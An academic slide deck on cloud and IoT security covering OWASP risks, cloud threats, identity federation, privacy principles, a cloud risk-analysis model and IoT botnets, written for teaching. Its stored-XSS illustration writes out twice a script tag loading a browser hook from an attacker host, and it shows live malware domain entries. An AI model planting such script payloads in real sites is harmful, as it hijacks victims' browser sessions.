Management and Security for Cloud and Internet of Things

Carlos Becker Westphall, Carla Merkle Westphall, Jorge Werner, Paulo Fernando Silva, Daniel Ricardo dos Santos
Summary

1. Introduction
2. Basic concepts
   2.1 Cloud computing
   2.2 IoT – Internet of Things
   2.3 Security
3. Cloud Security Concerns
   3.1 Cloud Security Threats
   3.2 Identity and access management
   3.3 Privacy
Summary

4. Cloud Security Related Work
   4.1 Research questions
   4.2 Research proposals
5. IoT Security Concerns
6. Conclusions
1. Introduction

- Security in cloud computing and IoT really is challenging, needs a careful understanding and involves many areas.

- It is necessary security in many layers of software and hardware!
Defenses of cloud environments can be more robust, scalable and have a better cost-effective, but ... 

.... the large concentration of resources and data is a more attractive target for attackers
The Internet of ransomware things...

HUNGRY? PAY UP AND I’LL UNLOCK MY DOOR!

ON STRIKE UNTIL YOU SEND MONEY TO MY HACKERS.

20 BUCKS IN MY PAYPAL ACCOUNT OR I’LL ONLY BREW DECAF!

I’LL BE BURNING THE TOAST IF YOU DON’T GET ME SOME DOUGH!

THE NEXT TIME YOU LEAVE, IT’LL COST YOU 100 BUCKS TO GET BACK INTO THE HOUSE, UNLESS YOU GIVE ME $75 NOW!

30 BUCKS IN BITCOIN, OR NEXT TIME I SMELL SMOKE, I MIGHT JUST LET YOU SLEEP.

MY ALARM SYSTEM IS GOING TO GO OFF RANDOMLY THROUGHOUT THE NIGHT, UNLESS YOU “DONATE”.

I’M TURNING OFF THE HEAT UNTIL YOU WARM UP MY BANK ACCOUNT!

WIRE MY HACKER $100 OR I’LL REVERSE MY MOTOR AND BLOW DIRT ALL OVER THIS PLACE!

YOUR DIRTY DISHES CAN WAIT, I’M BUSY MINING BITCOINS.

EXCUSE US WHILE WE PARTICIPATE IN A DDOS ATTACK.

I’LL START YOUR CAR, BUT ONLY TO TAKE YOU TO YOUR BANK TO MAKE A TRANSFER.

SEND ME $25 OR I’LL TELL EVERYONE ON YOUR SOCIAL NETWORK THAT YOU WERE STUPID ENOUGH TO BUY AN INTERNET-CONNECTED BROOM!

IF YOU DON’T SEND US CASH, YOUR REPUTATION WILL BE IN THE TRASH.
2. Basic Concepts

2.1 Cloud Computing
2.2 IoT
2.3 Security
2.1 Cloud Computing

NIST SP-800-145 - The NIST Definition:

“A model for enabling ubiquitous, convenient, on-demand network access to a shared pool of configurable computing resources (e.g., networks, servers, storage, applications, and services) that can be rapidly provisioned and released with minimal management effort or service provider interaction. This cloud model promotes availability and is composed of five essential characteristics, three service models, and four deployment models.”

Source: Stallings, 2014
Cloud Computing Elements

Source: Stallings, 2014
Popular services

- **IaaS**: Amazon EC2, Windows Azure, Rackspace (backup)
- **PaaS**: Google App Engine, Cloud Foundry, force.com
- **SaaS**: Office 365, Dropbox, salesforce.com, Google Apps
- **Cloud management**: CloudStack, OpenStack

- [http://cloudtaxonomy.opencrowd.com/](http://cloudtaxonomy.opencrowd.com/)
- [http://talkincloud.com/](http://talkincloud.com/)
Cloudstack - Nível de orquestração

XCP and Xen sobre Debian 7.4.0
Nível do Hypervisor

HVM AMD cluster
HVM intel cluster
PV cluster

Controladora RAID (RAID 1), Ext4 FS e NFS
Nível de armazenamento

2.2 IoT – Internet of Things

• composed of physical objects embedded with electronics, software, and sensors, which allows objects to be sensed and controlled remotely across the existing network infrastructure
• facilitates direct integration between the physical world and computer communication networks
• contributes to enhanced efficiency, accuracy, and economic benefits

2.2 IoT – Internet of Things

Any TIME communication
- on the move
- night
- daytime

Any PLACE communication
- outdoor
- indoor (away from the computer)
- at the computer

Any THING communication
- between computers
- human to human, not using a computer
- human to thing, using generic equipment
- thing to thing

ITU-T Definition - Things

- Physical things exist in the physical world and are capable of being sensed, actuated and connected: the surrounding environment, industrial robots, goods and electrical equipment.

- Virtual things exist in the information world and are capable of being stored, processed and accessed: multimedia content and application software.

ITU Definition

Physical world

Information world

device
gateway
physical thing
virtual thing
communication
mapping
communication via gateway
communication without gateway
direct communication

Sensors

- Machine Vision / Optical Ambient Light
- Position / Presence / Proximity
- Motion / Velocity / Displacement
- Temperature
- Humidity / Moisture
- Acoustic / Sound / Vibration
- Chemical / Gas
- Flow
- Force / Load / Torque Strain / Pressure
- Leaks / Levels
- Electric / Magnetic
- Acceleration / Tilt

Connectivity

Examples – smart applications

- Home consumer: irrigation controller, smoke alarm
- Buildings infrastructure: lighting, emergency alerts
- Health body: patient care, elderly monitoring

Examples – smart applications

Wireless sensors throughout his house help measure healthy activity levels, sleeping patterns and medication schedules.

Alerts are automatically sent to health care services and authorized family members if any abnormal activity is detected.

Cloud-based IoT

Cloud-based IoT?

1) Cloud services are “always ON,” and globally accessible, so “things” can be located anywhere, be mobile, can transmit different data at different times.

2) Cloud services are built to scale rapidly, which ideally suits IoT in which many “things” can communicate at different data rates, and at different times.

3) They help manage resource constraints. Many “things” will be limited in terms of computational power, battery and storage capacity. The ability to shift some of this load to the cloud helps to alleviate these limitations.

2.3 Security

Confidentiality • only authorized users have access to information

Integrity • prevent/detect modification/corruption of information

Availability • ensure that legitimate users will have properly allowed access

Authenticity • guarantee the validity of data and identity information
2.3 Security

- Threats – conditions or events that provide a potential security violation
- Vulnerability – failure or improper feature that can be exploited
- Attack – set of actions made by unauthorized entity seeking security breaches
2.3 Security

OWASP Top Ten

A1 – Injection flaws, such as SQL, OS, and LDAP injection occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.

A3 - Cross-Site Scripting (XSS) occur whenever an application takes untrusted data and sends it to a web browser without proper validation or escaping. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.
1. Application presents a form to the attacker
2. Attacker sends an attack in the form data
3. Application forwards attack to the database in a SQL query
4. Database runs query containing attack and sends encrypted results back to application
5. Application decrypts data as normal and sends results to the user
<table>
<thead>
<tr>
<th>Username</th>
<th>Password</th>
<th>Signature</th>
</tr>
</thead>
<tbody>
<tr>
<td>admin</td>
<td>admininpass</td>
<td>Monkey!</td>
</tr>
<tr>
<td>adrian</td>
<td>somepassword</td>
<td>Zombie Films Rock!</td>
</tr>
</tbody>
</table>
Cross-Site Scripting Illustrated
Source: OWASP Top Ten Site

1. Attacker sets the trap – update my profile

   Attacker enters a malicious script into a web page that stores the data on the server

2. Victim views page – sees attacker profile

   Script runs inside victim’s browser with full access to the DOM and cookies

3. Script silently sends attacker Victim’s session cookie

Application with stored XSS vulnerability
Add New Blog Entry

View Blogs

Add blog for anonymous

Note: <b>, </b>, <i>, </i>, <u> and </u> are now allowed in blog entries

<script src="http://10.0.3.15:3000/hook.js"></script>

Comentário da Maria

<script src="http://10.0.3.15:3000/hook.js"></script>

Comentário da Maria
3. Cloud Security Concerns

3.1 Cloud Security Threats
3.2 Identity and access management
3.3 Privacy
3.1 Cloud Security Threats

<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>1. Data Breaches</td>
<td>• Bugiel et al. 2011 run their tool on publicly Amazon EC2 images-SSH user keys were leaked.</td>
</tr>
<tr>
<td>2. Data Loss</td>
<td>• Mat Honan: attackers broke into Mat’s Apple, Gmail and Twitter accounts. All of his personal data in those accounts were erased.</td>
</tr>
<tr>
<td>3. Account Hijacking</td>
<td>• XSS in cloud service providers can be exploited by attackers to steal end-user credentials (Amazon 2010- Zeus botnet, Salesforce 2015).</td>
</tr>
</tbody>
</table>
3.1 Cloud Security Threats

4. Insecure APIs

• Customers use APIs and interfaces to manage cloud services. Problems: anonymous access or reusable passwords, authentication and unencrypted data transmission, improper authorization, monitoring and limited logging.

5. Denial of Service

• To force the victim to consume inordinate amounts of processor power, memory, disk space or network bandwidth. DDoS attacks can cause an intolerable system slowdown. XML-based (X-DoS), HTTP-based (H-DoS).
## Malware Domain List

**Warning:** All domains on this website should be considered dangerous. If you do not know what you are doing here, it is recommended you leave right away. This website is a resource for security professionals and enthusiasts.

Search: [ ] All [ ] Include inactive sites

### Table of Malware Domains

<table>
<thead>
<tr>
<th>Date (UTC)</th>
<th>Domain</th>
<th>IP</th>
<th>Reverse Lookup</th>
<th>Description</th>
<th>Registrant</th>
<th>ASN</th>
</tr>
</thead>
<tbody>
<tr>
<td>2015/09/03_05:16</td>
<td>krsa2gno.browsersecurityalert.info/0H4RuV82F4sgUoM42smmqB4doKnVpr1I/</td>
<td>52.10.128.168</td>
<td>ec2-52-10-128-168.us-west-2.compute.amazonaws.com</td>
<td>Browlock.Fake.TechSupport</td>
<td>Privacy Department / <a href="mailto:sjacobson@dr.com">sjacobson@dr.com</a></td>
<td>16509</td>
</tr>
<tr>
<td>2015/09/03_05:16</td>
<td>krsa2gno.important-security-browser-alert.com/0H4RuV82F4sgUoM42smmqB4doKnVpr1I/</td>
<td>52.10.128.168</td>
<td>ec2-52-10-128-168.us-west-2.compute.amazonaws.com</td>
<td>Browlock.Fake.TechSupport</td>
<td>-</td>
<td>16509</td>
</tr>
</tbody>
</table>

### Website Details

3.1 Cloud Security Threats

6. Malicious Insiders
   - The malicious insider has increasing levels of access to critical systems/data.

7. Abuse of Cloud Services
   - Unlimited computing power, network and storage used by a registered user who can be spammer or distribute malicious code.

8. Insufficient Due Diligence
   - Without a complete understanding of the CSP, organizations are taking on unknown levels of risk they may not comprehend.

9. Shared Technology Issues
   - Lack of strong isolation properties for a multi-tenant architecture (IaaS), redeployable platforms (PaaS), or multi-customer applications (SaaS).
Cloud Security Countermeasures

### Data breaches and data loss
- Implement strong API access control;
- Encrypt and protect integrity of data in transit;
- Analyze data protection at both design and run time;
- Implement strong key generation, storage and management, and destruction practices.

### Account hijacking
- Prohibit the sharing of account credentials between users and services;
- Leverage strong two-factor authentication where possible;
- Employ proactive monitoring to detect unauthorized activity;
- Understand CP security policies and SLAs.
<table>
<thead>
<tr>
<th>Cloud Security Countermeasures</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Insecure APIs</strong></td>
</tr>
<tr>
<td>analyzing the security model of CP interfaces; ensuring that strong authentication and access controls are implemented in concert with encryption machines; understanding the dependency chain associated with the API</td>
</tr>
<tr>
<td><strong>Malicious insiders</strong></td>
</tr>
<tr>
<td>specify human resource requirements as part of legal contract; require transparency into overall information security and management practices; determine security breach notification processes</td>
</tr>
</tbody>
</table>
# Cloud Security Countermeasures

<table>
<thead>
<tr>
<th>Abuse of Cloud Services</th>
<th>stricter initial registration and validation processes; enhanced credit card fraud monitoring; comprehensive introspection of customer network traffic; monitoring public blacklists</th>
</tr>
</thead>
<tbody>
<tr>
<td>Shared Technology Issues</td>
<td>security for installation/configuration; monitor environment for unauthorized changes/activity; strong authentication and access control; enforce SLAs; conduct vulnerability scanning and configuration audits</td>
</tr>
</tbody>
</table>
Cloud Security Alliance

- Governance domains
- Operational domains
  1. Traditional Security, Business Continuity, and Disaster Recovery
  2. Datacenter operations
  3. Incident Response
  4. Application Security
  5. Encryption and Key Management
  6. Identity, Entitlement, and Access Management
  7. Virtualization
  8. Security as a Service
Cloud Security as a Service (SecaaS)

CSA - Cloud Security Alliance, 2013

Source: Stallings, 2014
Challenges - Multi-tenancy

- Different needs: security, SLA, governance, policies...
Challenges - Applications and IAM

- Application security (IaaS, PaaS, SaaS)
- Identity and Access Management (IAM)
  - Proliferation of identities
  - Single Sign On
  - Identity Federation
  - Privacy
  - Access control
3.2 Identity and Access Management

“The process of creation, management and use of identities and the infrastructure that provides support for this set of processes.”

- Multiple identities:
  - Work
  - Shopping
  - Hospital
3.2 Identity and Access Management

Components (ISO/IEC 24760-1):

- **Entity**: an item inside a system - a person, a device, an organization, a SIM card, a passport
- **Identity**: set of attributes related do an entity
- **Identifier**: unique identity; distinguishes one entity from another in a domain
- **Credential**: representation of an identity (facilitates data authentication of identity info) – username/password, PIN, smartcard, passport
3.2 Identity and Access Management

- **Identity Provider (IdP):** provides identity information; usually authenticates an entity

- **Service Provider (SP)/Relying Party (RP):** provides services and usually receives credentials from a trusted IdP to perform authorization tasks
3.2 Identity and Access Management

- **Federation:**
  - agreement between two or more domains specifying how identity information will be exchanged and managed for cross-domain identification purposes
  - agreement on the use of common protocols and procedures (privacy control, data protection, standardized data formats and cryptographic techniques)
  - enables Single Sign-On (SSO)
3.2 Identity and Access Management

- An identity federation is a trust relationship!
- Identity provider: correct behavior to authenticate the user and to provide user attributes
- Service provider: correct behavior in providing the service
- Both have to follow federation agreements, security and privacy policies
- Use of policies, reputation metrics
3.2 Identity and Access Management
Without Federation

Source: https://www.incommon.org/images/with_without_lg.jpg
With Federation

Source: https://www.incommon.org/images/with_without_lg.jpg
Open source technologies

- **Shibboleth** ([https://shibboleth.net/](https://shibboleth.net/))
  - Internet 2
  - SAML (Security Assertion Markup Language)
  - Academy (some commercial members)

- **OpenID Connect** ([http://openid.net/connect/](http://openid.net/connect/))
  - Defined protocol
  - OpenID Foundation
  - JSON (JavaScript Object Notation) + OAuth 2
  - Academy and industry

Demo site: [https://aai-demo.switch.ch](https://aai-demo.switch.ch)
Shibboleth flow
Shibboleth flow
Federations

- Shibboleth
  - InCommon, United States
  - SWITCHaai, Switzerland
  - HAKA, Finland
  - CRU, France
  - RCTSaai, Portugal
  - CAFe, Brazil

- RADIUS Federation
  - eduroam (education roaming)
OpenID Connect (OIDC) flow
<table>
<thead>
<tr>
<th></th>
<th>SAML</th>
<th>OIDC</th>
</tr>
</thead>
<tbody>
<tr>
<td>Service Provider</td>
<td>SP</td>
<td>RP (Relying Party)</td>
</tr>
<tr>
<td>Identity Provider</td>
<td>IdP</td>
<td>OP (OpenID Connect Provider)</td>
</tr>
<tr>
<td>Attributes</td>
<td>Attributes</td>
<td>Scopes (groups of attributes)</td>
</tr>
<tr>
<td>Language</td>
<td>XML</td>
<td>JSON+REST</td>
</tr>
<tr>
<td>Encryption</td>
<td>TLS</td>
<td>JOSE (JSON Object Signing and Encryption)</td>
</tr>
<tr>
<td>SSO</td>
<td>Web SSO only</td>
<td>Yes</td>
</tr>
<tr>
<td>Mobile Apps</td>
<td>Web browser only</td>
<td>Mobile app &amp; Web browser</td>
</tr>
</tbody>
</table>

IAM services

- Vendors
  - Centrify
  - OneLogin
  - Ping Identity
  - Covisint
  - SailPoint Technologies
  - CA Technologies
  - Okta
  - ForgeRock (OpenAM)
3.3 Privacy

“Privacy refers to the ability of the individuals to protect information about themselves.” (Goldberg, Wagner and Brewer, 1997)

“Protection of personally identifiable information (PII) within information and communication technology (ICT) systems.” (ISO/IEC 29100, 2011)
### Example of attributes that can be used to identify natural persons

<table>
<thead>
<tr>
<th>Examples</th>
</tr>
</thead>
<tbody>
<tr>
<td>Age or special needs of vulnerable natural persons</td>
</tr>
<tr>
<td>Allegations of criminal conduct</td>
</tr>
<tr>
<td>Any information collected during health services</td>
</tr>
<tr>
<td>Bank account or credit card number</td>
</tr>
<tr>
<td>Biometric identifier</td>
</tr>
<tr>
<td>Credit card statements</td>
</tr>
<tr>
<td>Criminal convictions or committed offences</td>
</tr>
<tr>
<td>Criminal investigation reports</td>
</tr>
<tr>
<td>Customer number</td>
</tr>
<tr>
<td>Date of birth</td>
</tr>
<tr>
<td>Diagnostic health information</td>
</tr>
<tr>
<td>Disabilities</td>
</tr>
<tr>
<td>Doctor bills</td>
</tr>
<tr>
<td>Employees’ salaries and human resources files</td>
</tr>
<tr>
<td>Financial profile</td>
</tr>
<tr>
<td>Gender</td>
</tr>
<tr>
<td>GPS position</td>
</tr>
<tr>
<td>GPS trajectories</td>
</tr>
<tr>
<td>Home address</td>
</tr>
<tr>
<td>IP address</td>
</tr>
<tr>
<td>Location derived from telecommunications systems</td>
</tr>
<tr>
<td>Medical history</td>
</tr>
<tr>
<td>Name</td>
</tr>
<tr>
<td>National identifiers (e.g., passport number)</td>
</tr>
<tr>
<td>Personal e-mail address</td>
</tr>
<tr>
<td>Personal identification numbers (PIN) or passwords</td>
</tr>
<tr>
<td>Personal interests derived from tracking use of internet web sites</td>
</tr>
<tr>
<td>Personal or behavioural profile</td>
</tr>
<tr>
<td>Personal telephone number</td>
</tr>
<tr>
<td>Photograph or video identifiable to a natural person</td>
</tr>
<tr>
<td>Product and service preferences</td>
</tr>
<tr>
<td>Racial or ethnic origin</td>
</tr>
<tr>
<td>Religious or philosophical beliefs</td>
</tr>
<tr>
<td>Sexual orientation</td>
</tr>
<tr>
<td>Trade-union membership</td>
</tr>
<tr>
<td>Utility bills</td>
</tr>
</tbody>
</table>

Source: ISO/IEC 29100, 2011
3.3 Privacy

Privacy Protection in IDM (ISO/IEC 29100):

- **Selective disclosure**: gives a person a measure of control over the identity info
- **Minimal disclosure**: minimum information strictly required
- **Pseudonym identifier**: contains the minimal identity information to allow a verifier to establish it as a link to a known identity
- **Anonymity**: an entity can be recognized as distinct, without sufficient info to establish a link to a known identity
3.3 Privacy

The privacy principles of ISO/IEC 29100

1. Consent and choice
2. Purpose legitimacy and specification
3. Collection limitation
4. Data minimization
5. Use, retention and disclosure limitation
6. Accuracy and quality
7. Openness, transparency and notice
8. Individual participation and access
9. Accountability
10. Information security
11. Privacy compliance
3.3 Privacy - Legislation

- Europe: Directive 95/46/ec – protection of personal data
- Brazil: Law n. 12965 from April 23rd, 2014 - establishes principles, guarantees, rights and duties for the use of the Internet (privacy protection)
- USA: HIPAA (Health Insurance Portability and Accountability Act of 1996) - privacy of individually identifiable health information
- Canada: Personal Information Protection and Electronic Documents Act
4. Related work and Technologies

4.1 Research questions

4.2 Research proposals
4.1 Research questions

IAM Privacy problems
- Leak of identification attributes
- User identity discovery
- Unnecessary release attributes to SP
- Users are not aware of which attributes are disseminated
- Improper handling of attributes
- Unauthorized access to resources
- Discovery of sensitive information
4.1 Research questions

- Lack of control over user's PII
- Lack of PII release policies (lack support and transparency to disseminate PII)
- Lack of privacy control in interactions
4.1 Research questions

- Levels of trust in cloud federations
- Risk-based management in cloud
- Privacy in cloud federations
- Cloud authorization
- Confidence in security of cloud environments and cloud services
- Intrusion detection in cloud
4.2 Research proposals

- Silva et. al., 2016: RACLOUDS - Model for Clouds Risk Analysis in the Information Assets Context.
- dos Santos et. al., 2014: A dynamic risk-based access control architecture for cloud computing
- Bodnar et. al., 2016: Towards Privacy in Identity Management Dynamic Federations
- Werner et. al., 2017: Cloud identity management: A survey on privacy strategies
- Camillo et. al., 2017: Preserving Privacy with Fine-grained Authorization in an Identity Management System
4.2 Research proposals

The following paper is detailed in the next slides:

- Silva et. al., 2016: RACLOUDS - Model for Clouds Risk Analysis in the Information Assets Context.
Summary

Introduction
Related Works
The RACLOUD Model
Results
Conclusions
Future Works

Source: Silva et. al., 2016
Introduction

Risk analysis has been a strategy used to address the information security challenges posed by cloud computing.

Recent approaches on cloud risk analysis did not aim at providing a particular architecture model for cloud environments.

Source: Silva et. al., 2016
Introduction

Current models have the following deficiencies:

Deficiency in the adherence of Cloud Consumer (information assets).

Deficiency in the scope (security requirements).

Deficiency in the independence of results.

Source: Silva et. al., 2016
Introduction

This work proposes a model for performing risk analyzes in cloud environments:

Considers the participation of the CC (Cloud Consumer).

Enabling the development of a risk analysis scope that is impartial to the interests of the CSP (Cloud Service Provider).

Does not have the centralized performance of risk analysis for the CSP.

Source: Silva et. al., 2016
Related Work

- Ristov (2012): Risk analysis based on ISO 27001;
- Ristov (2013): Risk Analysis for OpenStack, Eucalyptus, OpenNebula and CloudStack environment;
- Mirkovié (2013): ISO 27001 controls the cloud;
- Rot (2013): Study of threats in the cloud;
- Liu (2013): Risk assessment in virtual machines;

Source: Silva et. al., 2016
Related Work

- Hale (2012): SecAgreement for monitoring security metrics;
- Wang (2012): Analysis of risk based CVE (Common Vulnerabilities Exposures);
- Khosravani (2013): A case study of the requirements of CC;

Source: Silva et. al., 2016
The RACLOUD Model

Risk Definition Language
Architectural Components
Risk Modeling

Risk Specification Phase
Risk Evaluation Phase

Source: Silva et. al., 2016
Risk Definition Language

```xml
<rdl type="ISL" id="1299">
  <source>LRG-UFSC</source>
  <version>4.5.1a</version>
  <description>...</description>
  <vulnerabilities>
    <item id="129">
      <description>Cipher protocol weak</description>
      <category>service</category>
      <wsra>http://1rg.ufsc.br:8095/evaluate129</wsra>
    </item>
    <item id="239">
      <description>Clear text password</description>
      <category>service</category>
      <wsra>http://1rg.ufsc.br:8095/evaluate239</wsra>
    </item>
  </vulnerabilities>
</rdl>
```

Source: Silva et. al., 2016
Architectural Components

Source: Silva et. al., 2016


## Risk Modeling

### TABLE IV. Probability Calculation

<table>
<thead>
<tr>
<th>Symbol</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>$E_{T,V}$</td>
<td>Event relating $T$ with $V$</td>
</tr>
<tr>
<td>$\alpha(T_x,V_z)$</td>
<td>Function correlating $T$ and $V$</td>
</tr>
<tr>
<td></td>
<td>$\alpha(T_x,V_z)=E_{T,V}$</td>
</tr>
<tr>
<td>$fp(E_{T,V})$</td>
<td>Function of probability of $E_{T,V}$</td>
</tr>
<tr>
<td></td>
<td>$fp(E)=(DE_{T,x,w}+DD_{V,z,w})/2$ , or,</td>
</tr>
<tr>
<td></td>
<td>$fp(E)=\text{matrix}(DE_{T,x,w},DD_{V,z,w})$</td>
</tr>
<tr>
<td>$P_E$</td>
<td>Probability of $E_{T,V}$</td>
</tr>
<tr>
<td></td>
<td>$fp(E_{T,V})=P_E$</td>
</tr>
</tbody>
</table>
# Risk Modeling

## Table V: Risk Calculation

<table>
<thead>
<tr>
<th>Symbol</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>$R_{E,A}$</td>
<td>Risk relating $E$ and $A$</td>
</tr>
</tbody>
</table>
| $\beta(E,A_y)$ | Function correlating $E$ and $A_y$  
$\beta(E,A_y)=R_{E,A}$ |
| $raf(R_{E,A})$ | Risk analysis function of $R_{E,A}$  
$raf(R_{E,A})=(P_E+D_{A,y})/2$  
or  
$raf(R_{E,A})=\text{matrix}(P_E,D_{A,y})$ |
| $DR_{E,A}$   | Degree of risk related with $R_{E,A}$  
$raf(R_{E,A})=GR_{E,A}$ |

Source: Silva et. al., 2016
Risk Specification Phase

Source: Silva et. al., 2016
Risk Evaluation Phase

Source: Silva et. al., 2016
Results and Discussion

Source: Silva et. al., 2016
Results and Discussion

Source: Silva et. al., 2016
Conclusions

The proposed model changes the generally current paradigm (CC and ISL).

To reduce excess CSP responsibility for risk analysis.

CC itself can perform risk analysis on its current or future CSP.

Source: Silva et. al., 2016
Privacy-based IdM to cloud

Reliability
Agreement
Profiles
Control
Policies

Source: Werner et. al., 2017
Attribute disclosure to "SP app test LRG"

**Warning:**
The accessed service provider has a reputation of 60 among the federation members. The reputation range from 0 - 100.

After the approval you are going to be redirected to:
http://localhost:8080/lrg-web-teste/openid_connect_login

The following scopes were requested:

- **Basic profile**
  - Name:
    - [KlfrZnBnQvTVIoxJlilwKQ/pcrpfM0hEZ.J/lEdUnxhW1Tfu1sCU3ZS6snYyejbblix8qx5843FkJLb92F6zn9knNgEo+hmMO3qQQ1azmu6/mAe4+cKxQmJ_a](KlfrZnBnQvTVIoxJlilwKQ/pcrpfM0hEZ.J/lEdUnxhW1Tfu1sCU3ZS6snYyejbblix8qx5843FkJLb92F6zn9knNgEo+hmMO3qQQ1azmu6/mAe4+cKxQmJ_a)
  - Email:
    - [HMMmDNTm1rCkkWiUkQeDauE+/a2lCcrRv0jTd4uKnmoOwgyTALUp0bYpPqOGFv4/ESUIOf2/2zY3wObtVEj8ImWvFVndyg2peINyuatJdGBn8TwDwzBY](HMMmDNTm1rCkkWiUkQeDauE+/a2lCcrRv0jTd4uKnmoOwgyTALUp0bYpPqOGFv4/ESUIOf2/2zY3wObtVEj8ImWvFVndyg2peINyuatJdGBn8TwDwzBY)

- **Complete profile**

[Decrypt selected attributes]

---

Do you consent with the disclosure of the selected attributes to "SP app test LRG"?

[Yes] [No]
Liberation of attributes necessary for LRG webstore

After acceptance of the release of attributes you'll be sent to:

http://localhost:8080/lrg-webstore-exemplo/openid_connect_login

Choose privacy scope:

Access without identification:
- Anonym

Access with pseudonym:
- Pseudonym

Access with identification and partial attributes:
- Partial

Access with identification and total attributes:
- Total
Select your privacy profile:

1. PRIVACY FUNDAMENTALIST
   - Users with very high concerns about privacy. Some services may not work properly or at all.
   - SEE DETAILS

2. PRIVACY AWARE
   - Users who are concerned about privacy but want to enable services even though functionalities are lost.
   - SEE DETAILS

3. PRIVACY PRAGMATIST
   - Users who still want some privacy but also want to enable most of the services and functionalities.
   - SEE DETAILS

4. PRIVACY UNCONCERNED
   - Users who are not concerned about their privacy or how their data is used.
   - SEE DETAILS

5. CUSTOM
   - Choose what types of data you wish to share, for what purpose and for the benefit of whom.
   - SEE DETAILS

Source: Villarreal et. al., 2017
Source: Camillo et al., 2017
5. IoT Security

- IoT Security is not Device Security!
- All elements need to be considered (ecosystem)
  - The Internet of Things Device
  - The Cloud
  - The Mobile Application
  - The Network Interfaces
  - The Software
  - Use of Encryption
  - Use of Authentication
  - Physical Security
  - USB ports
5. IoT Security

Osram Lightify light bulbs 'vulnerable to hack'

27 July 2016 | Technology

Security researchers have discovered nine vulnerabilities in a range of internet-connected light bulbs made by Osram.

One problem was that the Osram smartphone app stored an unencrypted copy of the user's Wi-Fi password.

That could give an attacker access to a user's home Wi-Fi network and the devices connected to it, if the password was extracted from the app.

One security expert said Osram had made an "elementary" mistake.
Thousands of medical devices are vulnerable to hacking, security researchers say.

The same default passwords were used over and over for different models of a device, and in some cases a manufacturer warned customers that if they changed default passwords they might not be eligible for support. That's

Next time you go for an MRI scan, remember that the doctor might not be the only one who sees your results.

DDoS attack that disrupted internet was largest of its kind in history, experts say

The victim was the servers of Dyn, a company that controls much of the internet’s domain name system (DNS) infrastructure. It was hit on 21 October and remained under sustained assault for most of the day, bringing down sites including Twitter, the Guardian, Netflix, Reddit, CNN and many others in Europe and the US.

What makes it interesting is that the attack was orchestrated using a weapon called the Mirai botnet. According to a blogpost by Dyn published on Wednesday, Mirai was the “primary source of malicious attack traffic”.

Unlike other botnets, which are typically made up of computers, the Mirai botnet is largely made up of so-called “internet of things” (IoT) devices such as digital cameras and DVR players.

Because it has so many internet-connected devices to choose from, attacks from Mirai are much larger than what most DDoS attacks could previously achieve. Dyn estimated that the attack had involved “100,000 malicious endpoints”, and the company, which is still investigating the attack, said there had been reports of an extraordinary attack strength of 1.2Tbps.
5. IoT Security - Botnets

- Infections: DVRs (Digital Video Recorder), CCTVs (Closed-circuit television), domestic routers, ...
- Malwares usually propagate via Telnet (23/TCP)
  - remote access protocol, without cryptography
- Exploits Default or Weak Passwords
- Targeting devices with embedded versions of Linux
5. IoT Security

IoT Security is the Worst-of-All-Worlds

- services, encryption, firewall, input...
- authN, authZ, input validation, etc.
- insecure APIs, lack of encryption, etc.
- yadda yadda AuthSessionAccess
- net + app + mobile + cloud = IoT

5. IoT Security

IoT Security Fail Examples

- 10/10 security systems accept ‘123456’
- 10/10 security systems with no lockout
- 10/10 security systems with enumeration
- SSH listeners with root/“” access
- 6/10 web interfaces with XSS/SQLi
- 70% of devices not using encryption
- 8/10 collected personal information
- 9/10 had no two-factor options
- Unauthenticated video streaming
- *Completely flawed* software update systems

## OWASP IoT Top 10

<table>
<thead>
<tr>
<th>Category</th>
<th>IoT Security Consideration</th>
<th>Recommendations</th>
</tr>
</thead>
<tbody>
<tr>
<td>I1: Insecure Web Interface</td>
<td>• Ensure that any web interface coding is written to prevent the use of weak passwords ...</td>
<td>When building a web interface consider implementing lessons learned from web application security. Employ a framework that utilizes security ...</td>
</tr>
<tr>
<td>I2: Insufficient Authentication/Authorization</td>
<td>• Ensure that applications are written to require strong passwords where authentication is needed ...</td>
<td>Refer to the <a href="https://www.owasp.org/images/8/8e/Infographic-v1.jpg">OWASP Authentication Cheat Sheet</a></td>
</tr>
<tr>
<td>I3: Insecure Network Services</td>
<td>• Ensure applications that use network services don't respond poorly to buffer overflow, fuzzing ...</td>
<td>Try to utilize tested, proven, networking stacks and interfaces that handle exceptions gracefully...</td>
</tr>
<tr>
<td>I4: Lack of Transport Encryption</td>
<td>• Ensure all applications are written to make use of encrypted communication between devices...</td>
<td>Utilize encrypted protocols wherever possible to protect all data in transit...</td>
</tr>
</tbody>
</table>

https://www.owasp.org/images/8/8e/Infographic-v1.jpg
<table>
<thead>
<tr>
<th>Category</th>
<th>IoT Security Consideration</th>
<th>Recommendations</th>
</tr>
</thead>
<tbody>
<tr>
<td>I5: Privacy Concerns</td>
<td>• Ensure only the minimal amount of personal information is collected from consumers ...</td>
<td>Data can present unintended privacy concerns when aggregated...</td>
</tr>
<tr>
<td>I6: Insecure Cloud Interface</td>
<td>• Ensure all cloud interfaces are reviewed for security vulnerabilities (e.g. API interfaces and cloud-based web interfaces)...</td>
<td>Cloud security presents unique security considerations, as well as countermeasures. Be sure to consult your cloud provider about options...</td>
</tr>
<tr>
<td>I7: Insecure Mobile Interface</td>
<td>• Ensure that any mobile application coding is written to disallows weak passwords ...</td>
<td>Mobile interfaces to IoT ecosystems require targeted security. Consult the OWASP Mobile ...</td>
</tr>
<tr>
<td>I8: Insufficient Security</td>
<td>• Ensure applications are written to include password security options (e.g. Enabling 20 character passwords or enabling two-factor authentication)...</td>
<td>Security can be a value proposition. Design should take into consideration a sliding scale of security requirements...</td>
</tr>
<tr>
<td>Configurability</td>
<td></td>
<td></td>
</tr>
<tr>
<td>I9: Insecure Software/Firmware</td>
<td>• Ensure all applications are written to include update capability</td>
<td>Many IoT deployments are either brownfield and/or have an extremely long deployment cycle...</td>
</tr>
<tr>
<td>I10: Poor Physical Security</td>
<td>• Ensure applications are written to utilize a minimal number of physical external ports (e.g. USB ports) on the device...</td>
<td>Plan on having IoT edge devices fall into malicious hands...</td>
</tr>
</tbody>
</table>

https://www.owasp.org/images/8/8e/Infographic-v1.jpg
